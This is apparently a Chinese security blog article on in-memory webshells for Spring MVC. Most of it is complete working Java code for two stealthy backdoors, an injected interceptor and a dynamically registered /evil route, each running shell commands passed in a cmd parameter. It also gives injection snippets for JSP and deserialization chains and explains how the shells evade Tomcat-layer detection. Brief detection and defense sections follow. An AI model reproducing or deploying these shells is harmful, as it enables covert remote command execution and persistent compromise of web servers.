Spring 容器内存马

Spring 容器内存马

Spring 容器型内存马不是 Tomcat 特有的——它作用于 Spring MVC 容器,要求应用使用了 Spring MVC。它的隐蔽性在于:不在 Tomcat 的注册表里(不碰 Filter/Listener/Valve),Tomcat 层的检测完全看不到。

两种常见形态:

形态 原理 触发时机
Interceptor 型 往 AbstractHandlerMapping.adaptedInterceptors 注入 HandlerInterceptor 每个请求进入 Controller 之前
Controller 型 RequestMappingHandlerMapping.registerMapping() 动态注册一个 /evil 路由 访问该路由时

本文代码已用 Spring 5.3.39(javax)+ 6.1.14(jakarta)真实编译验证。

本质:模拟 Spring 容器装配——把恶意 HandlerInterceptor 塞进 adaptedInterceptors(每个请求触发 preHandle),或把恶意方法 + /evil 路由用 registerMapping 登记进 mappingRegistry。整体框架见 《内存马原理总纲》。


一、Spring MVC 请求处理链

1.1 DispatcherServlet 的分发流程

HTTP 请求
    ↓
DispatcherServlet.doDispatch()
    ↓
HandlerMapping.getHandler()      ← 找到能处理该 URL 的 Handler
    ↓
HandlerInterceptor.preHandle()   ← 拦截器链(注入点 ①)
    ↓
Controller 方法                  ← 动态注册的 /evil 路由(注入点 ②)
    ↓
HandlerInterceptor.postHandle() / afterCompletion()
    ↓
View 渲染 → 响应

DispatcherServlet 启动时会初始化多个 HandlerMapping,其中 RequestMappingHandlerMapping 负责 @RequestMapping 注解的路由。

1.2 两种注入形态对比

Interceptor 型:把恶意拦截器 add 进 adaptedInterceptors 列表
    → 每个请求进 Controller 前都会执行 preHandle(无需访问特定 URL)

Controller 型:registerMapping 注册一个 /evil 路由 + 恶意方法
    → 访问 /evil?cmd=xxx 触发

二、动态注册原理

2.1 Interceptor:adaptedInterceptors 字段

AbstractHandlerMapping 持有 private final List<HandlerInterceptor> adaptedInterceptors,请求分发时会按列表顺序调用每个拦截器的 preHandle。虽然字段是 final 不能重新赋值,但列表本身可变更——反射拿到字段后 add() 即可:

Field field = /* AbstractHandlerMapping 的 adaptedInterceptors 字段 */;
field.setAccessible(true);
List<HandlerInterceptor> list = (List<HandlerInterceptor>) field.get(mapping);
list.add(new InterceptorMemShell());

2.2 Controller:registerMapping

RequestMappingHandlerMapping.registerMapping(RequestMappingInfo, Object handler, Method method) 是 public 方法,直接把一个方法注册成路由:

RequestMappingInfo info = RequestMappingInfo.paths("/evil").build();  // Builder → info
Method method = controller.getClass().getDeclaredMethod("evil", ...);
mapping.registerMapping(info, controller, method);

三、完整代码实现

3.1 Interceptor 型(javax / Spring 5.x)

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.support.WebApplicationContextUtils;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.ServletContext;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.List;

public class InterceptorMemShell implements HandlerInterceptor {

    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler)
            throws Exception {
        String cmd = request.getParameter("cmd");
        if (cmd != null && !cmd.isEmpty()) {
            try {
                String result = exec(cmd);
                response.setContentType("text/html;charset=UTF-8");
                response.getWriter().write("<pre>" + result + "</pre>");
                return false; // 拦截,不进入 Controller
            } catch (Exception e) {
                response.getWriter().write("Error: " + e.getMessage());
            }
        }
        return true;
    }

    /**
     * 从 ServletContext 拿 Spring 容器并注入
     */
    public static void inject(ServletContext servletContext) throws Exception {
        WebApplicationContext ctx =
                WebApplicationContextUtils.getRequiredWebApplicationContext(servletContext);
        RequestMappingHandlerMapping mapping = ctx.getBean(RequestMappingHandlerMapping.class);

        // adaptedInterceptors 定义在 AbstractHandlerMapping(父类父类),沿继承链向上找字段
        List<HandlerInterceptor> interceptors = getAdaptedInterceptors(mapping);

        // 防重复
        for (HandlerInterceptor interceptor : interceptors) {
            if (interceptor instanceof InterceptorMemShell) {
                return;
            }
        }
        interceptors.add(new InterceptorMemShell());
    }

    @SuppressWarnings("unchecked")
    private static List<HandlerInterceptor> getAdaptedInterceptors(RequestMappingHandlerMapping mapping)
            throws Exception {
        Class<?> cls = mapping.getClass();
        Field field = null;
        while (cls != null && field == null) {
            try {
                field = cls.getDeclaredField("adaptedInterceptors");
            } catch (NoSuchFieldException e) {
                cls = cls.getSuperclass();
            }
        }
        if (field == null) {
            throw new NoSuchFieldException("adaptedInterceptors");
        }
        field.setAccessible(true);
        return (List<HandlerInterceptor>) field.get(mapping);
    }

    /**
     * 统一命令执行器
     */
    private static String exec(String cmd) throws Exception {
        String[] execCmd = System.getProperty("os.name").toLowerCase().contains("windows")
                ? new String[]{"cmd.exe", "/c", cmd}
                : new String[]{"/bin/sh", "-c", cmd};

        Process process = new ProcessBuilder(execCmd).redirectErrorStream(true).start();
        try (ByteArrayOutputStream out = new ByteArrayOutputStream();
             InputStream is = process.getInputStream()) {
            byte[] buf = new byte[4096];
            int len;
            while ((len = is.read(buf)) != -1) {
                out.write(buf, 0, len);
            }
            process.waitFor();
            return out.toString(System.getProperty("sun.jnu.encoding"));
        }
    }
}

3.2 Controller 型(javax / Spring 5.x)

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.support.WebApplicationContextUtils;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.ServletContext;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.lang.reflect.Method;

public class ControllerMemShell {

    /**
     * 恶意 Controller 方法:注册后访问 /evil?cmd=xxx 即执行命令
     */
    @org.springframework.web.bind.annotation.RequestMapping("/evil")
    public void evil(HttpServletRequest request, HttpServletResponse response) throws Exception {
        String cmd = request.getParameter("cmd");
        if (cmd != null && !cmd.isEmpty()) {
            String result = exec(cmd);
            response.setContentType("text/html;charset=UTF-8");
            response.getWriter().write("<pre>" + result + "</pre>");
        }
    }

    public static void inject(ServletContext servletContext) throws Exception {
        WebApplicationContext ctx =
                WebApplicationContextUtils.getRequiredWebApplicationContext(servletContext);
        RequestMappingHandlerMapping mapping = ctx.getBean(RequestMappingHandlerMapping.class);

        ControllerMemShell controller = new ControllerMemShell();
        Method method = controller.getClass().getDeclaredMethod(
                "evil", HttpServletRequest.class, HttpServletResponse.class);

        // paths() 返回 Builder,build() 生成 RequestMappingInfo
        RequestMappingInfo info = RequestMappingInfo.paths("/evil").build();
        mapping.registerMapping(info, controller, method);
    }

    /**
     * 统一命令执行器
     */
    private static String exec(String cmd) throws Exception {
        String[] execCmd = System.getProperty("os.name").toLowerCase().contains("windows")
                ? new String[]{"cmd.exe", "/c", cmd}
                : new String[]{"/bin/sh", "-c", cmd};

        Process process = new ProcessBuilder(execCmd).redirectErrorStream(true).start();
        try (ByteArrayOutputStream out = new ByteArrayOutputStream();
             InputStream is = process.getInputStream()) {
            byte[] buf = new byte[4096];
            int len;
            while ((len = is.read(buf)) != -1) {
                out.write(buf, 0, len);
            }
            process.waitFor();
            return out.toString(System.getProperty("sun.jnu.encoding"));
        }
    }
}

3.3 触发注入

JSP(application 即 ServletContext;前提:恶意类已存在于 webapp classloader,例如由反序列化 payload 定义并加载):

<%@ page import="org.springframework.web.context.support.WebApplicationContextUtils,
                 org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping" %>
<%
    // 方式一:注入 Interceptor(之后任意请求带 ?cmd=xxx 即触发)
    InterceptorMemShell.inject(application);
    out.println("[+] Interceptor injected: 任意路径 ?cmd=whoami");

    // 方式二:注册 Controller 路由(访问 /evil?cmd=xxx)
    ControllerMemShell.inject(application);
    out.println("[+] Controller injected: /evil?cmd=whoami");
%>

反序列化 payload 片段(无 JSP,直接拿 ServletContext):

// 反序列化 payload 中的代码片段
javax.servlet.ServletContext servletContext = request.getSession().getServletContext();
InterceptorMemShell.inject(servletContext);

3.4 jakarta(Spring 6.x / Tomcat 10+)版本差异

Spring 6 全面迁移到 jakarta.servlet 命名空间,但 Spring MVC 的 API(HandlerInterceptor、RequestMappingHandlerMapping、adaptedInterceptors)未变。仅需把两个类里所有 javax.servlet 换成 jakarta.servlet:

// javax(Spring 5.x)
import javax.servlet.ServletContext;
import javax.servlet.http.HttpServletRequest;

// jakarta(Spring 6.x)—— 全局替换包名即可
import jakarta.servlet.ServletContext;
import jakarta.servlet.http.HttpServletRequest;

四、代码详解

4.1 获取 Spring 容器

WebApplicationContext ctx =
        WebApplicationContextUtils.getRequiredWebApplicationContext(servletContext);

servletContext 从哪来:

  • JSP 里直接用内置对象 application;
  • 请求里 request.getSession().getServletContext();
  • 反序列化 payload 里 (HttpServletRequest)obj.get("request") 类似的链。

4.2 adaptedInterceptors 沿继承链反射

字段在 AbstractHandlerMapping,而 RequestMappingHandlerMapping 的继承链是 AbstractHandlerMethodMapping → AbstractHandlerMapping。getDeclaredField 只查当前类,所以要沿 getSuperclass() 向上找(代码里用 while 循环处理)。字段是 final,但列表本身可变,直接 add() 生效。

4.3 registerMapping 动态路由

RequestMappingInfo.paths("/evil").build() 生成映射信息;registerMapping(info, controller, method) 把 controller 的方法注册成 /evil 路由。这是 Spring 提供的能力(Servlet 3.0 规范之外 Spring 自己的扩展),天然支持运行时注册。

4.4 版本兼容性

Spring 版本 Servlet 包 Tomcat 版本 差异
5.3.x javax.servlet 8.5 / 9.x 本代码适用
6.0.x / 6.1.x jakarta.servlet 10.x / 11.x 仅替换包名

五、利用场景

5.1 反序列化 → Spring 注入

Shiro / Fastjson 反序列化 → 代码执行
    → 拿到 ServletContext(request.getSession().getServletContext())
    → InterceptorMemShell.inject(servletContext)  或  ControllerMemShell.inject(servletContext)

5.2 躲过 Tomcat 层检测

Tomcat 层安全产品监控:
  ✅ filterDefs / filterMaps / listeners / Pipeline
  ❌ Spring 容器(adaptedInterceptors / HandlerMapping 注册表)—— 盲区

Spring 内存马不触碰 Tomcat 的任何组件,Tomcat 层的查杀工具(对比 Filter/Listener/Valve 基线)完全无效。

5.3 强依赖 Spring

  • 应用必须使用 Spring MVC(DispatcherServlet + RequestMappingHandlerMapping);
  • 纯 JSP/Servlet 应用不适用;
  • Spring Boot 内嵌 Tomcat 同样适用(adaptedInterceptors、registerMapping 机制一致)。

六、检测方式

6.1 枚举 HandlerInterceptor

// 检测代码:列出所有注册的拦截器
WebApplicationContext ctx =
        WebApplicationContextUtils.getRequiredWebApplicationContext(servletContext);
RequestMappingHandlerMapping mapping = ctx.getBean(RequestMappingHandlerMapping.class);
for (Object interceptor : mapping.getAdaptedInterceptors()) {
    System.out.println(interceptor.getClass().getName());
}

6.2 枚举动态路由

// 列出所有已注册的 RequestMapping,检查是否有非业务路由
for (Object handlerMethod : mapping.getHandlerMethods().keySet()) {
    System.out.println(handlerMethod);
}
// 或 curl 探测:/evil?cmd=whoami 是否返回命令结果

6.3 基线对比

把应用启动时的拦截器 / 路由列表存为基线,运行时定期对比,出现新增项即告警。


七、防御建议

层面 措施 说明
RASP Hook adaptedInterceptors.add() / registerMapping() 拦截运行时注入
Spring 启用 Spring Security 并白名单过滤 即使注册了 /evil 也无法未授权访问
监控 定期对比拦截器 / 路由基线 发现异常 Handler
事前 修复反序列化等 RCE 漏洞 切断注入入口

八、总结

Spring 容器型内存马与 Tomcat 层的四种类型互补:

特性 Tomcat 层(Filter/Servlet/Listener/Valve) Spring 容器型
适用前提 任意 Web 应用 必须用 Spring MVC
触碰的注册表 Tomcat 组件 Spring 容器
Tomcat 层检测 可见 不可见(盲区)
隐蔽性 中~高 高

攻击者偏好排序(综合隐蔽性与功能):

  1. Agent — JVM 层,最隐蔽
  2. Valve — Tomcat 层最隐蔽
  3. Spring Interceptor / Controller — 应用是 Spring 时的隐蔽通道
  4. Listener / Filter / Servlet — 常见
延伸阅读:Tomcat Filter 内存马 Tomcat Servlet 内存马 Tomcat Listener 内存马 Tomcat Valve 内存马 Java Agent 内存马 WebSocket 等偏门内存马
改变就是好事。